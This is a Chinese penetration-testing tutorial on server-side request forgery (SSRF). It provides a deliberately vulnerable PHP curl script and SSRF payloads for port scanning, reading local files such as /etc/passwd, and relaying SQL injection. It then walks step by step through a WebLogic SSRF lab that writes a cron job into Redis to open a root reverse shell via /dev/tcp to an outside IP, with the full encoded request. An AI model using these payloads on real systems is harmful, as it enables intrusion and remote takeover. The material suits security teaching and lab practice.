服务端请求伪造(SSRF)及漏洞复现

渗透测试漏洞原理

服务端请求伪造

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL，Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造"的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side Request Forgery，简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中，例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现，需要PHP扩展组件curl支持

该实验需要开启curl

    if(isset($_REQUEST['url'])){
        $link = $_REQUEST['url'];
        $fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件，将请求到的内容放到该文件中。
        $curlObj = curl_init($link);		# 初始化
        $fp = fopen($fileName,'w');

        curl_setopt($curlObj,CURLOPT_FILE,$fp);
        curl_setopt($curlObj,CURLOPT_HEADER,0);
        curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

        curl_exec($curlObj);
        curl_close($curlObj);
        fclose($fp);

        if(getimagesize($fileName)){
            header("Content-Type:image/png");
        }

        $fp = fopen($fileName,'r');
        $result = fread($fp,filesize($fileName));
        fclose($fp);
        echo $result;
    }else{
        echo "?url=[url]";
    }
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

在phpstudy的www目录下创建一个ssrf，然后在ssrf中创建一个curled目录。

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif
1

页面效果如下：

整个实验的流程：ssrf_curl.php文件会接受来着客户端的URL地址，然后服务器收到URL地址后，根据这个URL地址发起请求，把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址，并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤，导致任意URL 输入。

没对响应的结果进行检验，直接输出。

1.3 SSRF 危害

漏洞危害：

• 内部资产暴露：攻击者可以通过伪造的请求访问内部资源，包括数据库、文件系统、配置文件、读取本地文件等。
• 敏感信息泄露：攻击者可以利用该漏洞获取敏感信息，例如访问受限 API、执行未经授权的操作等。
• 进行攻击：攻击者可以通过伪造的请求向其他系统发起攻击，例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt
1
2
3

例如：

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379
1
2
3
4
5
6

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php
1
2
3
4

还可以读取ssrf_curl.php文件。

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

 
    #Order allow,deny
	Order deny,allow 
    deny from all			# 拒绝所有
	allow from 127.0.0.1	# 只允许本机


1
2
3
4
5
6
7

修改httpd_config配置文件。

配置完后在内网中可以访问到phpMyAdmin

如果是外部访问的话，是无法访问到的。

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme
1

2.1.5 攻击内网Web应用

内网安全通常都很薄弱。

	#Order allow,deny 
	Order deny,allow 
	deny from all
	allow from 127.0.0.1


1
2
3
4
5
6
7

通过SSRF 漏洞可以实现对内网的访问，从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users
1
2
3
4
5

实验：

该页面存在SQL注入漏洞。尝试进行注入

说明：如果直接注入的话页面是没有反应的，因为这里的参数如id，联合查询等，应该给show.php，而现在是传递给了ssrf_curl.php。

解决方式：用注释来替换掉空格

2.2 SSRF 经典案例

链接地址：Weblogic SSRF 到GetShell。

启动docker环境

2.2.1 访问页面

发现404错误

这里访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

访问指定页面，使用bp抓取数据包，点击Search。

找到指定的数据包信息

右键发送到重发器查看，发现页面报错

使用DNSLog，探测该页面是否存在SSRF漏洞。

bp中修改数据包

查看DNSLog解析结果

解析成功，说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

可访问的80端口发生错误。

访问非http协议，则会返回did not have a valid SOAP content-type。

修改为一个不存在的端口，将会返回could not connect over HTTP to server。

通过错误的不同，即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器（docker环境的网段一般是172.*）这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态，这里探测到了Redis的6379端口开放。

对于Redis数据库有未授权访问的漏洞，利用方式如下：

• 数据库内容泄露
• 利用Redis数据库读写文件
  • 编写Webshell，编写计划任务，写ssh公钥
• RCE漏洞

因为读取数据是看不到服务器响应的，属于无回显状态。所以这里采用写数据的方式，写Webshell的前提是对方需要开启Web服务，而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头，利用Redis反弹shell

发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
1
2
3
4

Redis数据库命令是通过http协议进行提交的所以需要进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
1

注意：换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
1
2
3
4
5
6

kali中监听21端口

修改bp中的数据包信息

点击发送数据包。

反弹成功

查看当前权限为root。

最后补充一下，可进行利用的cron有如下几个地方：

• /etc/crontab 这个是肯定的
• /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
• /var/spool/cron/root centos系统下root用户的cron文件
• /var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

• 限制协议，仅允许 http 或 https 协议。

• 限制IP，避免应用被用来获取内网数据，攻击内网。

• 限制端口，限制请求端口为常用端口。

2.3.2 过滤输出

• 过滤返回信息，只要不符合要求的，全部过滤。

• 统一错误信息，让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开，并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制，确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南，进行输入验证和输出编码，以减少漏洞发生的可能性。

3. SSRF 挖掘